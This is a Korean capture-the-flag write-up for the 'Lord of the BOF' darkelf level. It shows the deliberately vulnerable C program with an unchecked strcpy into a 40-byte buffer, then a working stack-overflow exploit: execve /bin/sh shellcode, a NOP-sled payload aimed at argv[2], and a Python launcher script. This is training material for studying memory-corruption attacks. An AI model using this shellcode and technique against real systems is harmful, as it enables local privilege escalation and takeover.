wolfman / love eyuna
/*
The Lord of the BOF : The Fellowship of the BOF
- darkelf
- egghunter + buffer hunter + check length of argv[1]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
0x01. Analysis
wolfman 문제에서 추가된 부분은 argv[1]의 크기가 48보다 크면 안된다. 그리고 buffer가 0으로 초기화 된다.
argv[1]의 크기를 제한하고 있으니 argv[2]에 쉘코드를 넣거나, argv[1]에 쉘코드를 넣고,
buffer 주소가 아닌 argv[1]의 주소를 이용해도 된다.
- buffer 배열 크기 40byte
- 환경변수 영역 0으로 초기화 (egghunter)
- RET 첫 1byte ‘\xbf’로 시작
- argv[1] 48byte 길이 미만
- strcpy를 이용하여 argv[1] 인자 값을 buffer 배열로 복사
- buffer 배열 40byte 0으로 초기화
이번엔 argv[2]에 shellcode를 넣고 문제를 풀어보겠다.
0x02. Exploit
shell(24byte) = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
argv[2]에 NOP슬라이드와 쉘코드를 넣기 위해 core덤프를 통해 해당 주소를 구해오자.
argv[2]의 주소는 0xbffffbde로 확인되었다.
argv[2] 주소와 shellcode를 넣고 exploit을 진행하면 문제가 풀린다.
[wolfman@localhost wolfman]$ ./darkelf `python -c 'print "A"*44+"\xde\xfb\xff\xbf"'` `python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
import os
import struct
append = lambda x, y: x + y
p32 = lambda x: struct.pack("<I", x)
target = "/home/wolfman/darkelf"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
argv2_addr = 0xbffffbde
payload1 = "\x90"*44
payload1 = append(payload1, p32(argv2_addr))
payload2 = "\x90"*50
payload2 = append(payload2, shellcode)
pid = os.fork()
if pid == 0:
os.execv(target, (target, payload1, payload2))
else:
os.waitpid(pid, 0)
PREVIOUS[LOB]Level05. wolfman